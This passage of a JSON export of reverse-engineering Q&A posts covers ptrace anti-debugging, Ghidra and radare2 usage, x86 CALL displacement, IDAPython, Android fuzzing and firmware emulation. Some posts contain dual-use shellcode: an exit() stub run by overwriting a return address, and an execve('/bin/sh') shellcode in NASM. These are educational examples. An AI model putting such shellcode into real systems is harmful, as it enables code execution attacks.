        "Answer": "<p>Basically, the process calls <code>fork</code>, on the child side it'll try to attach a debugger to the parent process:</p>\n\n<pre><code>ptrace(PTRACE_ATTACH, getppid(), 0, 0);\n</code></pre>\n\n<p>If this syscall failed, it probably means a debugger is already attached to the parent process, this is your anti-debugger. To notify the parent process, the developer relies on the exit code. It's 1 if a debugger is attached, 0 otherwise.</p>\n\n<p>On the parent side, it retrieves the exit code with the macro <code>WEXITSTATUS</code>. In C this is defined as:</p>\n\n<pre><code>#define WEXITSTATUS(x)  (_W_INT(x) &gt;&gt; 8)\n</code></pre>\n\n<p>Which gives in assembly:</p>\n\n<pre><code>sar     eax, 8\nmovzx   eax, al\ntest    eax, eax\njz      short no_debugger\n</code></pre>\n\n<p>This is another way to do a <code>PTRACE_TRACEME</code>. :)</p>\n"
    },
    {
        "Id": "20810",
        "CreationDate": "2019-03-07T17:50:09.873",
        "Body": "<p>I'm trying to disassemble some 6502 using Ghidra. The following (prerequisites: POSIX-style shell, Python 2.x) will generate a file called <code>test.dat</code> that demonstrates the issue:</p>\n\n<pre><code>python -c \"open('test.dat','wb').write(''.join([chr(x) for x in [0xa2,0xa3,0xa9,0x00,0x9d,0x40,0x00,0xca,0x10,0xfa,0x60]]))\"\n</code></pre>\n\n<p>Then, from in Ghidra:</p>\n\n<ol>\n<li>create new project (wherever you like)</li>\n<li>import <code>test.dat</code> created above, with Language as <code>6502</code>/<code>default</code> and <code>Base Address</code> as 0x400</li>\n<li>double click <code>test.dat</code> in <code>Active Project</code> to get to the CodeBrowser window</li>\n<li>say No when analysis is offered</li>\n<li>go to location $400 and press D to disassemble</li>\n</ol>\n\n<p>The disassembly is pretty short.</p>\n\n<pre><code>                             //\n                             // RAM \n                             // fileOffset=0, length=11\n                             // RAM: 0400-040a\n                             //\n            0400 a2 a3           LDX        #0xa3\n            0402 a9 00           LDA        #0x0\n                             LAB_0404                                        XREF[1]:     0408(j)  \n            0404 9d 40 00        STA        $0x40,X=&gt;DAT_00e3                                = ??\n            0407 ca              DEX\n            0408 10 fa           BPL        LAB_0404\n            040a 60              RTS\n</code></pre>\n\n<p>The odd thing here is that rather than generating a label for <code>$0040</code>, which is the base address of the table, it's generated one for <code>$00e3</code> - the first byte accessed - as if X is a TOC pointer, or similar, and $0040 is the offset. This isn't appropriate for 6502 code.</p>\n\n<p>In this little example I can right click and fix up the references by hand, but I don't mind admitting that I don't want to have to do this for an entire program. 6502 code is full of this stuff.</p>\n\n<p>Can I stop this from happening?</p>\n\n<p>(I got very lost trying to follow through the Java source provided! - but I did figure out that this sort of reference is known as an extended reference, and appears to be common to all targets. I couldn't find anything in the documentation about these, though, or how to disable them.)</p>\n",
        "Title": "Can I stop Ghidra from creating extended references?",
        "Tags": "|disassembly|disassemblers|ghidra|",
        "Answer": "<p>To get rid of these references, you need to disable the \"Basic Constant Reference Analyzer\" located in the Analysis Options (Analysis -> Auto Analyze ...)</p>\n\n<p>After this, select your code and clear it (C hotkey by default) and then disassemble again.</p>\n"
    },
    {
        "Id": "20821",
        "CreationDate": "2019-03-09T03:14:58.747",
        "Body": "<p>A target library \"lib42.so\" has DT_DEBUG entry in the .dynamic section.</p>\n\n<p>After dlopen(\"lib42.so\", RTLD_LOCAL | RTLD_NOW) succeded, r_debug->d_un.d_ptr is equal to zero. Why?</p>\n",
        "Title": "DT_DEBUG not filled on dlopen",
        "Tags": "|gdb|elf|dynamic-linking|",
        "Answer": "<p>You should probably check the dynamic linker source code to be sure but I suspect that <code>DT_DEBUG</code> is only filled for the main binary and not the additional modules. </p>\n"
    },
    {
        "Id": "20823",
        "CreationDate": "2019-03-09T10:36:54.597",
        "Body": "<p>I am trying to look under the hood of libnotify, and ran <code>strace notify-send 'hello'</code> and one of the system calls is:</p>\n\n<p><code>sendto(5, \"AUTH\\r\\n\", 6, MSG_NOSIGNAL, NULL, 0) = 6</code></p>\n\n<p>Surrounded by a:</p>\n\n<p><code>sendmsg(5, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=\"\\0\", iov_len=1}], msg_iovlen=1, msg_control=[{cmsg_len=28, cmsg_level=SOL_SOCKET, cmsg_type=SCM_CREDENTIALS, cmsg_data={pid=2555, uid=1000, gid=1000}}], msg_controllen=32, msg_flags=0}, MSG_NOSIGNAL) = 1</code></p>\n\n<p><code>sendto(5, \"AUTH\\r\\n\", 6, MSG_NOSIGNAL, NULL, 0) = 6</code></p>\n\n<p><code>recvfrom(5, \"REJECTED EXTERNAL\\r\\n\", 4096, 0, NULL, NULL) = 19</code></p>\n\n<p>(Full paste <a href=\"https://pastebin.com/wi9Ecvmk\" rel=\"nofollow noreferrer\">https://pastebin.com/wi9Ecvmk</a>, the above is on lines 322 - 324)</p>\n\n<p>What is causing windows-like carriage returns here? I tried to look into <a href=\"https://developer.gnome.org/notification-spec/\" rel=\"nofollow noreferrer\">Desktop notifications specs</a> and to local installed libnotify's manual but found no explanation. No explanation in man pages of <code>sendmsg</code> or <code>recvfrom</code> either. And no component of this is ever going to run on any type of Windows.</p>\n\n<p>So why is purely Linux program leveraging this type of newline?</p>\n\n<p>(I'm running Arch Linux if that makes any difference)</p>\n\n<p>Edit: I'm new in this so I'm sorry if it's really obvious and remove the question if needed.</p>\n",
        "Title": "What is causing \\r\\n in libnotify?",
        "Tags": "|linux|",
        "Answer": "<p>It's part of the authentication protocol in the D-Bus spec:</p>\n\n<blockquote>\n  <p>The protocol is a line-based protocol, where each line ends with \\r\\n. Each line begins with an all-caps ASCII command name containing only the character range [A-Z_], a space, then any arguments for the command, then the \\r\\n ending the line.</p>\n</blockquote>\n\n<p>See <a href=\"https://dbus.freedesktop.org/doc/dbus-specification.html#auth-protocol-overview\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "20824",
        "CreationDate": "2019-03-09T14:19:24.593",
        "Body": "<p>Working a basic buffer overflow on a 64bit system and putting together some basic shellcode. The main program does a call to puts@plt. When I disassemble main in gdb, the opcodes show as:</p>\n\n<pre><code>e8 6b fe ff ff    0x555555554580 &lt;puts@plt&gt;\n</code></pre>\n\n<p>I looked at the <a href=\"https://c9x.me/x86/html/file_module_x86_id_26.html\" rel=\"nofollow noreferrer\">call instruction set reference</a> which says its a relative displacement from the next instruction. The next instruction is:</p>\n\n<pre><code>0x0000555555554715 b8 00 00 00 00 mov eax, 0x0\n</code></pre>\n\n<p>How is \"6b fe ff ff\" displaced from \"0x555555554715\" to get the puts@plt address?</p>\n\n<p>I'm dropping my shellcode onto the stack, is it possible to call to puts@plt from there as a displacement from the next instruction? Or do I just need to setup the registers for a syscall?</p>\n",
        "Title": "x86-64 CALL opcode + disassembly",
        "Tags": "|assembly|binary-analysis|buffer-overflow|shellcode|",
        "Answer": "<p>relative address can be forward or backward from end of current instruction\nor start of next instruction   </p>\n\n<p>that <strong>e8 00 00 00 00</strong> will be call to the next immediate instruction<br>\nforward  can be    <strong>e8 ( 00 00 00 00 .... 7f  ff ff ff )</strong><br>\nbackward can be    <strong>e8 ( ff ff ff ff .... 80 00 00 00 )</strong>     </p>\n\n<p>so your immediate here is <strong>0xfffffe6b</strong>  that is == <strong>-0x195</strong>    </p>\n\n<p>negative numbers have their sign bit (31st bit ) set  </p>\n\n<pre><code>0 &amp; 0x80000000 == 0x80000000  will be False \nand\n0xffffffff &amp; 0x80000000 == 0x80000000  will be True\n\nC:\\&gt;python -c \"print((0xffffffff&amp;0x80000000)==0x80000000);print((0x0&amp;0x80000000)==0x80000000)\"\nTrue\nFalse\n</code></pre>\n\n<p>so we can find out negative and positive numbers \nnegative jumps backward \npositive jumps forward</p>\n\n<p>positive 1 is 0 + 1<br>\npositive 2 is 0 + 2 and so on ......  </p>\n\n<p>negative 1 is 0x10000000 - 1<br>\nnegative 2 is 0x10000000 - 2 and so on .......   </p>\n\n<pre><code>&gt;&gt;&gt; for i in range (1,20,1):\n...     print (  \"-%02d    ==    %x    +%02d    ==    %x\" %  (i,( 0x10000000-i) ,i,( 0 + i )) )\n...\n-01    ==    fffffff    +01    ==    1\n-02    ==    ffffffe    +02    ==    2\n-03    ==    ffffffd    +03    ==    3\n-04    ==    ffffffc    +04    ==    4\n-05    ==    ffffffb    +05    ==    5\n-06    ==    ffffffa    +06    ==    6\n-07    ==    ffffff9    +07    ==    7\n-08    ==    ffffff8    +08    ==    8\n-09    ==    ffffff7    +09    ==    9\n-10    ==    ffffff6    +10    ==    a\n-11    ==    ffffff5    +11    ==    b\n-12    ==    ffffff4    +12    ==    c\n-13    ==    ffffff3    +13    ==    d\n-14    ==    ffffff2    +14    ==    e\n-15    ==    ffffff1    +15    ==    f\n-16    ==    ffffff0    +16    ==    10\n-17    ==    fffffef    +17    ==    11\n-18    ==    fffffee    +18    ==    12\n-19    ==    fffffed    +19    ==    13\n</code></pre>\n\n<p>so i subtract 0xfffffe6b from 0x100000000</p>\n\n<pre><code>C:\\&gt;python -c \"print hex(0xfffffe6b - 0x100000000)\"\n-0x195L\n\nC:\\&gt;python -c \"print hex(0x0000555555554715 + (-0x195))\"\n0x555555554580L\n</code></pre>\n\n<p>demo in radare2</p>\n\n<pre><code>[0x00000000]&gt; w \\xe8\\x00\\x00\\x00\\x00 ; pd 1\n            0x00000000      e800000000     call 5\n[0x00000000]&gt; w \\xe8\\x01\\x00\\x00\\x00 ; pd 1\n            0x00000000      e801000000     call 6\n[0x00000000]&gt; w \\xe8\\x02\\x00\\x00\\x00 ; pd 1\n            0x00000000      e802000000     call 7\n[0x00000000]&gt; w \\xe8\\x08\\x00\\x00\\x00 ; pd 1\n            0x00000000      e808000000     call 0xd\n[0x00000000]&gt; w \\xe8\\xff\\xff\\xff\\xff ; pd 1\n            0x00000000      e8ffffffff     call 4\n[0x00000000]&gt; w \\xe8\\xfe\\xff\\xff\\xff ; pd 1\n            0x00000000      e8feffffff     call 3\n[0x00000000]&gt; w \\xe8\\x6b\\xff\\xff\\xff ; pd 1\n            0x00000000      e86bffffff     call 0xffffff70\n[0x00000000]&gt; w \\xe8\\x6b\\xfe\\xff\\xff ; pd 1\n            0x00000000      e86bfeffff     call 0xfffffe70\n[0x00000000]&gt;\n</code></pre>\n\n<p>simulating an actual call opcodes </p>\n\n<pre><code>opening a random elf file \n:\\&gt;radare2 elfie\n\ngetting the address of sym.puts\n[0x08048150]&gt; ?v sym.puts\n0x8048de0\n\ncalculating relative address for force writing a call to sym.puts\n[0x08048150]&gt; ?v sym.puts + 0x195 - 0x5\n0x8048f70\n\nseeking to target address\n[0x08048150]&gt; s sym.puts + 0x195 - 0x5\n\nsetting cache = true for writing to memory (radare2 opens in read only mode)\n[0x08048f70]&gt; e io.cache = true\n\nchecking the present disassembly\n[0x08048f70]&gt; pd 1\n        `=&lt; 0x08048f70      ebd7           jmp 0x8048f49\npatching a call to sym.puts in place \n\n[0x08048f70]&gt; w \\xe8\\x6b\\xfe\\xff\\xff\n\nchecking disassembly again \n\n[0x08048f70]&gt; pd 1\n            0x08048f70      e86bfeffff     call sym.puts\n</code></pre>\n"
    },
    {
        "Id": "20826",
        "CreationDate": "2019-03-09T18:33:04.453",
        "Body": "<p>I think the below instruction is used for position independent code. Could anyone please help me understand how it works? </p>\n\n<pre><code>call 135b&lt;__x86.get_pc_thunk.ax&gt;\n</code></pre>\n\n<p>What are the use of the below instructions after it returns?</p>\n\n\n\n<pre><code>add    eax,0x2d77\nmov    edx,DWORD PTR [eax-0xc]\nmov    edx,DWORD PTR [edx]\n</code></pre>\n\n<p>Is it possible to remove call 135b&lt;__x86.get_pc_thunk.ax> from the assembly when compiling the code using GCC?</p>\n\n<p>Thank you.</p>\n\n<p><a href=\"https://i.stack.imgur.com/f9nBd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/f9nBd.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How does the x86 instruction, call 135b<__x86.get_pc_thunk.ax> work?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>the call is getting the next instructions address in eax<br>\nnotice the ax<br>\nthere are other variants of this call with bx,cx,dx at the end<br>\nwhich respectively returns the next instruction address in ebx,ecx and edx   </p>\n\n<p>the call at 135b will look like   </p>\n\n<pre><code>mov eax,[esp] \nret\n</code></pre>\n\n<p>so eax in your specific case will contain 0x1289<br>\nafter the addition eax will contain  0x4000<br>\n so edx will get what is stored at [3ff4]    </p>\n\n<p>this is called dereferencing pointers   **foo   </p>\n\n<p>basically eax will contain the buffer where fscanf stores the return<br>\nedx will contain the format string<br>\necx will contain the FILE*  </p>\n"
    },
    {
        "Id": "20828",
        "CreationDate": "2019-03-09T20:07:06.500",
        "Body": "<p>I'm trying to decompile a function with ghidra 9.0. After a (short) while, I get :</p>\n\n<pre><code>Exception while decompiling 140062b00: process: timeout\n</code></pre>\n\n<p>I already \"succesfully\" decompiled this function using IDA hexrays and snowman. Both return a massive function with several thousand lines of code. I use quotes because I didn't validate the whole output, but the parts that I analysed made sense.</p>\n\n<p>I'm thinking that this timeout error could be solved by increasing the time limit, but I haven't found any way of configuring this.</p>\n\n<p>Is there any way to use ghidra to decompile this function anyway?</p>\n",
        "Title": "How to increase decompilation timeout in ghidra?",
        "Tags": "|ghidra|",
        "Answer": "<p>You can configure the timeout in decompiler options. Go to Edit->Tool Options...->Decompiler and change \"Decompiler Timeout (seconds)\" to the desired value.</p>\n"
    },
    {
        "Id": "20829",
        "CreationDate": "2019-03-09T21:42:23.693",
        "Body": "<p>Processing a Mach-0 file with Rabin2 I'm obtaining the following result:</p>\n\n<pre><code>$ rabin2 -I mybinaryfile\narw 00000000000000000000000000000000000000000000000000000000000000001f0000000000000000000000170000001f0000001f0000000000000000000000\narch     x86\nbaddr    0x0\nbinsz    69256\nbintype  mach0\nbits     32\ncanary   false\nsanitiz  false\nclass    MACH0\ncrypto   false\nendian   little\nhavecode true\nladdr    0x0\nlang     c++\nlinenum  false\nlsyms    false\nmachine  386\nmaxopsz  16\nminopsz  1\nnx       false\nos       darwin\npcalign  0\npic      false\nrelocs   false\nstatic   true\nstripped false\nsubsys   darwin\nva       true\n</code></pre>\n\n<p>Opening it with Radare2 the same \"arw\" line appears:</p>\n\n<pre><code>$ radare2 mybinaryfile\narw 00000000000000000000000000000000000000000000000000000000000000001f0000000000000000000000170000001f0000001f0000000000000000000000\n -- radare2-built farm beats the facebook one.\n[0x00000000]&gt; \n\n[0x00000000]&gt; ih\n0x00000000  Magic       0xfeedface\n0x00000004  CpuType     0x7\n0x00000008  CpuSubType  0x3\n0x0000000c  FileType    0x1\n0x00000010  nCmds       3\n0x00000014  sizeOfCmds  840\n0x00000018  Flags       0x2000\n0x00000020  cmd       0 0x1 LC_SEGMENT\n0x00000024  cmdsize     736\n0x00000300  cmd       1 0x2 LC_SYMTAB\n0x00000304  cmdsize     24\n0x00000318  cmd       2 0x5 LC_UNIXTHREAD\n0x0000031c  cmdsize     80\n</code></pre>\n\n<p>I've searched but I didn't find any answer. What does this \"arw\" line mean?</p>\n",
        "Title": "What this \"arw\" line means when processing Mach-0 file with Radare2 or Rabin2?",
        "Tags": "|radare2|",
        "Answer": "<p>It looks like it's a raw byte dump of an arch-specific thread_state structure (e.g. for <a href=\"https://github.com/radare/radare2/blob/80aa8b5103d835e7bdfc4d1afcf52c9ebc3b68f0/libr/bin/format/mach0/mach0_specs.h#L25-L42\" rel=\"nofollow noreferrer\">32bit x86</a>). See <a href=\"https://github.com/radare/radare2/blob/80aa8b5103d835e7bdfc4d1afcf52c9ebc3b68f0/libr/bin/format/mach0/mach0.c#L976-L984\" rel=\"nofollow noreferrer\">here</a> for where the dump happens.</p>\n"
    },
    {
        "Id": "20838",
        "CreationDate": "2019-03-10T08:09:58.910",
        "Body": "<p>I am trying to figure out the behavior of conditional jumps (JE/JNE, JZ/JNZ) in the x86 instruction set familly. </p>\n\n<p>Which condition flags <code>CMP</code> instruction sets and <strong>how</strong>, if the result is equal and if it is not? For example:</p>\n\n<ul>\n<li><p><code>CMP eax, 0</code> (true)</p></li>\n<li><p><code>CMP eax, 0</code> (false)</p></li>\n</ul>\n",
        "Title": "How the CMP instruction uses condition flags?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>Furthermore, with the CMP instruction, the destination operand doesn't change. Just the flags. </p>\n\n<p>Let me illustrate. Let's say <code>EAX = 00000005</code> and <code>EBX = 00000005</code>. If we do this arithmetic operation:</p>\n\n<p><code>CMP EAX, EBX</code></p>\n\n<p>What's happening, is in effect this:</p>\n\n<p><code>EAX - EBX</code> ---->\n<code>00000005 - 00000005</code></p>\n\n<p>Since the result would be <code>0</code>, but we don't change the destination operand in a CMP instruction, the zero flag is set to <code>1</code> (since it's true).</p>\n\n<p>So, as we saw, depending on the result of the previous arithmetic operation, flags can be set accordingly:</p>\n\n<p><a href=\"https://i.stack.imgur.com/o4f30.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/o4f30.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "20843",
        "CreationDate": "2019-03-10T19:22:45.640",
        "Body": "<p>I wrote a very basic crackme to learn how assembly works.</p>\n\n<p>Even though I wrote it myself, I am having some trouble understanding a few pieces of the assembly:</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZAZZD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZAZZD.png\" alt=\"enter image description here\"></a></p>\n\n<p>What I know up to now is: <code>[rbp+rax+input_buffer]</code> is basically <code>input_buffer[rax]</code>, xor'ing two of the same registers resets them and that's about it (apart from the very basic stuff like add, mov, inc).</p>\n\n<p>I specifically don't understand what <code>movsx ..</code> and <code>add ecx, 0FFF..</code> is doing.</p>\n\n<p><s>The input_buffer is filled with <code>_fgets</code>. I'm intentionally not saying a working input to see if you can figure it out (it shouldn't be hard anyways).</s></p>\n\n<p>A proper input would be <code>0123456789\\n</code>, note that I discard the newline via <code>strcspn</code>.</p>\n",
        "Title": "What is this assembly doing?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>I guess the original code is something like:</p>\n\n<pre><code>char input_buffer[...];\n// ...\nint c = input_buffer[i];\n</code></pre>\n\n<p>Since the variable <code>c</code> is a <code>int</code> and <code>input_buffer</code> is a <code>char[]</code>, your compiler has to promote the read <code>char</code> as a <code>int</code>. That's why you have the <code>movsx</code> instruction. It will read the current character and sign extend it, so it'll fit to a <code>int</code>.</p>\n\n<p>About the <code>add</code>, it's common for a compiler to encode a <code>sub dst, imm</code> as <code>add dst, -imm</code>, if you negate <code>0xffffffd0</code> (SHIFT - in IDA), you'll obtain <code>-0x30</code>. This is how you convert the ASCII digit into a integer.</p>\n"
    },
    {
        "Id": "20851",
        "CreationDate": "2019-03-12T02:22:22.187",
        "Body": "<pre><code>int main()\n{\n    char shellcode[] = \"\\xbb\\x00\\x00\\x00\\x00\\xb8\\x01\\x00\\x00\\x00\\xcd\\x80\";\n\n    int *ret;\n    ret = (int *)&amp;ret + 2;\n    (*ret) = (int)shellcode;\n}\n</code></pre>\n\n<p>I tried to run the above shellcode but got a segmentation fault.\nThen, I tried putting the shellcode inside the main and it worked, why? </p>\n\n<p>Also, when I do <code>strace</code> to the binary to check the syscall, it shows that <code>exit_group()</code> syscall is called but the shell code is for <code>exit()</code> syscall. </p>\n\n<p><a href=\"https://i.stack.imgur.com/diHRl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/diHRl.png\" alt=\"screenshot of strace\"></a></p>\n",
        "Title": "exit() syscall within shellcode not working",
        "Tags": "|assembly|shellcode|",
        "Answer": "<pre><code>div eax\nint 0x80\njmp short 0x0\n</code></pre>\n\n<p>It's different ways <code>exit()</code> syscall </p>\n"
    },
    {
        "Id": "20853",
        "CreationDate": "2019-03-12T08:25:42.113",
        "Body": "<p>Is there a way to get all ordinals of the local types view with the ida python api?</p>\n\n<p>i have tried to get all ordinals for structs with: <code>[ida_struct.get_struc(id).ordinal for _, id, _ in Structs()]</code>. This also works for enums if you replace Structs() with Enums() but this is not complete. Some structs are just in the local types view and i dont know how to get this ordinals. </p>\n",
        "Title": "Get all ordinals from local types view",
        "Tags": "|ida|idapython|",
        "Answer": "<p>This should do it: you need to iterate over all the ordinals as defined in the local type information library returned by <code>get_idati()</code>. They are annoyingly indexed 1-up. For each ordinal you can get the corresponding <code>tinfo_t</code> with <code>get_numbered_type</code>.</p>\n\n\n\n<pre><code>import ida_typeinf\n\nidati = ida_typeinf.get_idati()\n\nfor ordinal in xrange(1, ida_typeinf.get_ordinal_qty(idati)+1):\n    ti = ida_typeinf.tinfo_t()\n    if ti.get_numbered_type(idati, ordinal):\n        print ordinal, ti\n</code></pre>\n"
    },
    {
        "Id": "20855",
        "CreationDate": "2019-03-12T08:50:07.527",
        "Body": "<p>I recently downloaded Ghidra (<a href=\"https://ghidra-sre.org/\" rel=\"nofollow noreferrer\">link</a>) ver 9 on windows.</p>\n\n<p>The decompiler feature is presumable found at </p>\n\n<pre><code>&lt;GHIDRA_HOME&gt;\\Ghidra\\Features\\Decompiler\n</code></pre>\n\n<p>There is a lib folder containing the Java code. Then there is an os folder containing binaries for 3 different platforms (win, mac and linux) around 2.4 - 2.9 MB each per platform.</p>\n\n<p>My questions</p>\n\n<ol>\n<li><p>This makes Ghidra not truly portable. If there is a reason to do this, then why not use JNI/JNA instead? Why take the dirty route of launching an executable?</p></li>\n<li><p>Is the decompiler open source but written in native code? Can you point out the source codes location for such? If its not provided then can we say its truly open source (read backdoors!) If the decompiler's job is just to spit out pseudo-c code from the dissembly, then 2+ MB is an overkill for such a component, assuming a low-level language like C/C++ is used to write it.</p></li>\n</ol>\n",
        "Title": "NSA Ghidra 9 - Is the decompiler open source?",
        "Tags": "|disassemblers|decompiler|ghidra|",
        "Answer": "<p>For posterity: the decompiler was open-sourced not too long after the initial release of Ghidra. Its code is <a href=\"https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/Decompiler/src/decompile\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "20860",
        "CreationDate": "2019-03-12T19:12:08.200",
        "Body": "<p>How to do fuzzing in Android applications? Do we have any fuzzer specific to the android? </p>\n\n<p>Actually, I am looking for an easy way to do fuzzing while performing penetration testing of android applications.</p>\n",
        "Title": "Android application fuzzing",
        "Tags": "|android|fuzzing|",
        "Answer": "<p>There is a fork of AFL fuzzer that is specialized in Android fuzzing. You can find it on GitHub. And, there are several fuzzing frameworks specialized for Android.</p>\n<h3>References</h3>\n<ul>\n<li><a href=\"https://github.com/ele7enxxh/android-afl\" rel=\"nofollow noreferrer\">Andoid-afl</a>.</li>\n<li><a href=\"https://source.android.com/devices/tech/debug/libfuzzer\" rel=\"nofollow noreferrer\">Fuzzing with libFuzzer</a>.</li>\n<li><a href=\"https://github.com/ajinabraham/Droid-Application-Fuzz-Framework\" rel=\"nofollow noreferrer\">Droid: Android application fuzzing framework</a>.</li>\n<li><a href=\"https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html\" rel=\"nofollow noreferrer\">Writing the worlds worst Android fuzzer, and then improving it</a>, by Gamozo 2018.</li>\n<li><a href=\"https://www.blackhat.com/docs/eu-15/materials/eu-15-Blanda-Fuzzing-Android-A-Recipe-For-Uncovering-Vulnerabilities-Inside-System-Components-In-Android-wp.pdf\" rel=\"nofollow noreferrer\">Fuzzing Android: a recipe for uncovering vulnerabilities inside system components in Android</a>, by Alexandru Blanda (BlackHat'15).</li>\n<li><a href=\"http://www.iswatlab.eu/security-projects/doapp-denial-of-app-a-smart-android-fuzzer-for-the-future/\" rel=\"nofollow noreferrer\">DoApp (Denial of App): A smart Android Fuzzer for the future</a>.</li>\n<li><a href=\"https://github.com/antojoseph/droid-ff\" rel=\"nofollow noreferrer\">Droid-FF</a>.</li>\n<li><a href=\"https://firmwaresecurity.com/2017/11/09/afl-unicorn-fuzz-any-architecture-supported-by-unicorn/\" rel=\"nofollow noreferrer\">AFL-unicorn1</a> and <a href=\"http://cn-sec.com/archives/146342.html\" rel=\"nofollow noreferrer\">AFL-unicorn2</a></li>\n<li><a href=\"https://alephsecurity.com/2021/11/16/fuzzing-qemu-android/\" rel=\"nofollow noreferrer\">AFL++ with QEMU for native android fuzzing</a>:  This is a modification of the original <a href=\"https://github.com/AFLplusplus/AFLplusplus\" rel=\"nofollow noreferrer\">AFLplusplus</a> so as to able to fuzz binary-only Android applications using QEMU and running inside native Android environment.</li>\n</ul>\n"
    },
    {
        "Id": "20863",
        "CreationDate": "2019-03-13T09:58:54.563",
        "Body": "<p>I am writing an ELF32 parser and disassembler for PowerPC. </p>\n\n<p>Does anyone knows how to detect if the file is using VLE architecture from ELF header? I see that IDA can do it automatically.</p>\n",
        "Title": "PowerPC ELF32 detecting VLE",
        "Tags": "|powerpc|",
        "Answer": "<p>According to the code of <code>readelf</code> in the GNU binutils package, the presence of VLE instructions can be found in the <code>p_flags</code> and <code>sh_flags</code> fields with the mask <code>0x10000000</code> (see <code>binutils-xxx/include/elf/ppc.h</code> and look for <code>PF_PPC_VLE</code> and <code>SHF_PPC_VLE</code>).</p>\n\n<p>These flags seems to be present at the begining of each section in the ELF format. So, you should look for it.</p>\n\n<p>A few interesting readings:</p>\n\n<ul>\n<li><a href=\"https://www.polyomino.org.uk/publications/2011/Power-Arch-32-bit-ABI-supp-1.0-Unified.pdf\" rel=\"nofollow noreferrer\">Power Architecture\u00ae 32-bit Application Binary Interface Supplement 1.0</a>.</li>\n<li><a href=\"https://www.st.com/content/ccc/resource/technical/document/user_manual/ac/f2/bf/01/73/d8/48/e0/CD00161395.pdf/files/CD00161395.pdf/jcr:content/translations/en.CD00161395.pdf\" rel=\"nofollow noreferrer\">Variable-Length Encoding (VLE) extension programming interface manual</a>.</li>\n<li><a href=\"https://www.nxp.com/docs/en/supporting-information/VLEPIM.pdf\" rel=\"nofollow noreferrer\">Variable-Length Encoding (VLE) Extension Programming Interface Manual</a>.</li>\n<li><a href=\"http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi.html\" rel=\"nofollow noreferrer\">64-bit PowerPC ELF Application Binary Interface Supplement 1.9</a>.</li>\n<li>The binutils source code (<code>grep -r _PPC_VLE</code>).</li>\n</ul>\n"
    },
    {
        "Id": "20868",
        "CreationDate": "2019-03-13T20:18:54.573",
        "Body": "<pre><code>Section .text\n        global _start\n\n_start:\n        jmp short GoToCall\n\nshellcode:\n        pop             esi\n        xor             eax, eax\n        mov byte        [esi+7], al\n        lea             ebx, [esi]\n        mov long        [esi + 8], ebx\n        mov long        [esi + 12], eax\n        mov byte        al, 0x0b\n        mov             ebx, [esi]\n        lea             ecx, [esi + 8]\n        lea             edx, [esi + 12]\n        int             0x80\n\nGoToCall:\n        Call shellcode\n        db      \"/bin/shJAAAABBBB\"\n</code></pre>\n\n<p>After compiling the above shellcode I got below disassembly. where at 3rd line I am getting the Segmentaion fault.</p>\n\n<pre><code>(gdb) disassemble shellcode \nDump of assembler code for function shellcode:\n   0x08049002 &lt;+0&gt;: pop    %esi\n   0x08049003 &lt;+1&gt;: xor    %eax,%eax\n=&gt; 0x08049005 &lt;+3&gt;: mov    %al,0x7(%esi)\n   0x08049008 &lt;+6&gt;: lea    (%esi),%ebx\n   0x0804900a &lt;+8&gt;: mov    %ebx,0x8(%esi)\n   0x0804900d &lt;+11&gt;:    mov    %eax,0xc(%esi)\n   0x08049010 &lt;+14&gt;:    mov    $0xb,%al\n   0x08049012 &lt;+16&gt;:    mov    (%esi),%ebx\n   0x08049014 &lt;+18&gt;:    lea    0x8(%esi),%ecx\n   0x08049017 &lt;+21&gt;:    lea    0xc(%esi),%edx\n   0x0804901a &lt;+24&gt;:    int    $0x80\nEnd of assembler dump.\n(gdb) printf \"%s\", $esi\n/bin/shJAAAABBBB(gdb) printf \"%s\", $esi+7\nJAAAABBBB(gdb) si\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x08049005 in shellcode ()\n(gdb) \n</code></pre>\n",
        "Title": "segmentation fault at `mov byte [esi+7], al`",
        "Tags": "|assembly|shellcode|",
        "Answer": "<p>As the answer of @booto shows, <code>objdump -h</code> prints out <code>.text</code> section is readonly.</p>\n\n<p>You can try to compile like this and don't have to update the original source code:</p>\n\n<pre><code>nasm -f elf32 -o ./Execve.o Execve.nasm\nld -N -o ./Execve ./Execve.o\n</code></pre>\n\n<p><code>ld -N</code>:</p>\n\n<blockquote>\n  <p>Set the text and data sections to be readable and writable.</p>\n</blockquote>\n"
    },
    {
        "Id": "20881",
        "CreationDate": "2019-03-14T22:31:25.527",
        "Body": "<p>I'm currently having a look at the Damn Vulnerable Router Firmware, and I'm roughly following the description that is given here:</p>\n\n<p><a href=\"https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1\" rel=\"nofollow noreferrer\">https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1</a></p>\n\n<p>This means I did the following:</p>\n\n<ul>\n<li>Extracted the firmware with binwalk</li>\n<li>Copied qemu-mipsel-static into the squashfs-root of the extracted firmware</li>\n<li>Emulated the binaries with qemu using chroot, like this:<code>sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 test123</code></li>\n<li>Started GDB and entered: <code>set architecture mips</code> and <code>target remote 127.0.0.1:1234</code></li>\n</ul>\n\n<p>When I now continue with <code>c</code> I get:</p>\n\n<blockquote>\n  <p>(gdb) c\n  Continuing.\n  warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1.\n  Use the \"info sharedlibrary\" command to see the complete listing.\n  Do you need \"set solib-search-path\" or \"set sysroot\"?\n  [Inferior 1 (Remote target) exited with code 0101]\n  (gdb) info sharedlibrary\n  No shared libraries loaded at this 